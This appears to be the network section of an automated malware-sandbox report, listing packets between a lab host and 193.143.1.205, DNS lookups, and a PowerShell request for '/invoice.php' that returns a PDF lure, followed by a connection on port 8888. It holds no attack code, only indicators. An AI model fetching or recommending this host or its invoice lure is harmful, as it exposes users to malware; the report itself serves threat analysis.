Jan 10, 2025 21:33:59.563174009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.577596903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.595340967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.595355034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.595374107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.595386982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.595398903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.595416069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.595427036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.595489025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.595526934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.595537901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.595556974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.595560074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.595560074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.595560074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.595571041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.595601082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.595601082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.595617056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.595623016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.595628023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.595643044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.595654964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.595669031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.595696926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.604700089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.604723930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.604737997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.604774952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.604796886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.604825020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.604830980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.604842901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.604856014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.604866982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.604880095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.604882956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.604899883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.604938984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.604974985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.604984045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.605051041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.605062008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.605082989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.605084896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.605098009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.605113029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.605123043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.605124950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.605145931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.616070986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.619535923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.643697977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.643711090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.643729925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.643742085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.643757105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.643768072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.643780947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.643817902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.643836021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.643851042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.643863916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.643871069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.643883944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.643894911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.643920898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.643945932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.643958092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.643969059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.643980980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.643995047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.644016981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.644021988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644032001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644042015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644052029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644067049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.644071102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644081116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.644088984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644100904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644112110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644124985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644126892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.644143105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.644202948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644215107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644238949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.644289017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644300938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644313097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644324064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644328117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.644339085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644350052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644354105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.644372940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.644390106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644424915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.644433022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644443989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644476891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.644488096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644500971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644511938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644524097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644534111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644541025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.644555092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.644578934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644589901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644601107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644618034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.644629955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.644661903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644676924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644690990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644702911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644721031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.644740105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.644740105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644754887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644785881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.644908905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644922018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644932985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644951105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644957066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.644963980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644975901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644988060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.644993067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.645013094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.645013094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645026922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645037889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645051003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645056963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.645062923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645078897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.645102978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.645114899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645132065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645143986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645154953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645165920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645165920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.645190001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.645291090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645302057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645313025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645332098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645334005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.645344973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645353079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.645356894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645370007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645375013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.645381927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645395041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645401955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.645409107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645437002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.645473003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645483017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645493984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645504951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645508051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.645518064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645529032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.645529985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645543098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645553112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.645554066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645576954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645587921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645593882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.645601034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645610094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.645612955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645623922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645633936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.645637035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645649910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645662069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.645669937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645684004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645694017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.645698071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.645720005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.646013975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.646053076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.646075964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.646087885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.646099091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.646120071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.646409988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.682440996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.682492018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.682502985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.682514906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.682528019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.682535887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.682540894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.682555914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.682569027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.682574034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.682621002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.691749096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.691781998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.691795111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.691812992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.691844940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.691901922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.691914082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.691926003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.691936970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.691956043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.691961050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.691971064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.691979885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.691984892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.691998005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.692008018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.692011118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.692023993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.692032099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.692038059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.692058086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.730635881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.730654001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.730667114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.730730057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.730743885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.730922937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.730941057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.730953932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.730999947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.731012106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.731025934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.731029987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.731087923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.731101990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.731115103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.731127977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.731134892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.731147051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.731163025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.731199026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.731204987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.731204987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.731204987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.731204987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.731210947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.731226921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.731236935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.731256962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:34:00.198940992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:34:01.085458994 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:34:01.090625048 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 21:34:01.090714931 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:34:01.095762968 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:34:01.100641966 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 21:34:01.895737886 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 21:34:01.937902927 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:34:02.138195038 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:34:14.091209888 CET	59430	53	192.168.2.5	1.1.1.1
Jan 10, 2025 21:34:26.198079109 CET	54674	53	192.168.2.5	1.1.1.1
Jan 10, 2025 21:34:40.665998936 CET	54675	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 21:34:14.091209888 CET	192.168.2.5	1.1.1.1	0xa5cb	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:34:26.198079109 CET	192.168.2.5	1.1.1.1	0xa379	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:34:40.665998936 CET	192.168.2.5	1.1.1.1	0xc80b	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 10, 2025 21:34:14.098747015 CET	1.1.1.1	192.168.2.5	0xa5cb	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:34:26.205152035 CET	1.1.1.1	192.168.2.5	0xa379	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:34:40.673592091 CET	1.1.1.1	192.168.2.5	0xc80b	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	6768	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:33:58.170907021 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 21:33:58.967295885 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:33:58 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 21:33:58.967329025 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
